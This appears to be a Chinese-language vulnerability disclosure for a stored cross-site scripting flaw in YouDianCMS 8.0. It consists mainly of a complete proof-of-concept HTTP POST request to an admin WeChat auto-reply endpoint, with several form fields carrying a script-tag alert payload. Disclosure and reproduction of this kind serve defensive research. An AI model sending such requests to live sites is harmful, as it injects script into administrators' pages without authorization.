YouDianCMS 8.0 Storeage XSS

一、漏洞简介

二、漏洞影响

YouDianCMS 8.0

三、复现过程

POST /index.php/Admin/wx/saveSubscribeReply 
HTTP/1.1 Host: 127.0.0.1 
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0 
Accept: application/json, text/javascript, /; q=0.01 
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 
Referer: http://0-sec.org/index.php/Admin/Wx/subscribereply/l/en/random/1560696407129 
X-Requested-With: XMLHttpRequest 
Content-Type: multipart/form-data; 
boundary=---------------------------17443203555821 
Content-Length: 2207 
DNT: 1 
Connection: close 
Cookie: PHPSESSID=bkv171om25ji6a51t7dql010h2; youdianAdminLangSet=en; CKFinder_Path=Files%3A%2F%3A1; CKFinder_Settings=TNNDS; youdianMenuTopID=15

-----------------------------17443203555821 Content-Disposition: form-data; name="ReplyID"

1 -----------------------------17443203555821 Content-Disposition: form-data; name="TypeID"

1 -----------------------------17443203555821 Content-Disposition: form-data; name="a1"

"><scRIPT>alert(1)</SCRIPT> -----------------------------17443203555821 Content-Disposition: form-data; name="a2"

2 -----------------------------17443203555821 Content-Disposition: form-data; name="a3"

1 -----------------------------17443203555821 Content-Disposition: form-data; name="a4"

"><scRIPT>alert(1)</SCRIPT> -----------------------------17443203555821 Content-Disposition: form-data; name="a5"

1 -----------------------------17443203555821 Content-Disposition: form-data; name="a6"

-----------------------------17443203555821 Content-Disposition: form-data; name="musicfile"

-----------------------------17443203555821 Content-Disposition: form-data; name="a11"

-----------------------------17443203555821 Content-Disposition: form-data; name="a12"

1 -----------------------------17443203555821 Content-Disposition: form-data; name="a13"

-----------------------------17443203555821 Content-Disposition: form-data; name="a14"

-----------------------------17443203555821 Content-Disposition: form-data; name="a15"

"><scRIPT>alert(1)</SCRIPT> -----------------------------17443203555821 Content-Disposition: form-data; name="a16"

1 -----------------------------17443203555821 Content-Disposition: form-data; name="a7"

2 -----------------------------17443203555821 Content-Disposition: form-data; name="a8"

2,大转盘 -----------------------------17443203555821 Content-Disposition: form-data; name="a10"

-----------------------------17443203555821 Content-Disposition: form-data; name="a9"

"><scRIPT>alert(1)</SCRIPT> -----------------------------17443203555821 Content-Disposition: form-data; name="IsEnable"

1 -----------------------------17443203555821 Content-Disposition: form-data; name="hash"

19b37a0a1054dfd209b9a17c704027f3_db90bddc24f4e98592b355e2cbbca612 -----------------------------17443203555821--

该漏洞触发的位置在“微信平台”-“自动回复”-“跟踪自动回复”的“微信短信”中，最后点击保存触发。

四、参考链接

https://github.com/ReboOt68/youdiancms8.0-StoreageXSS-POC/issues/2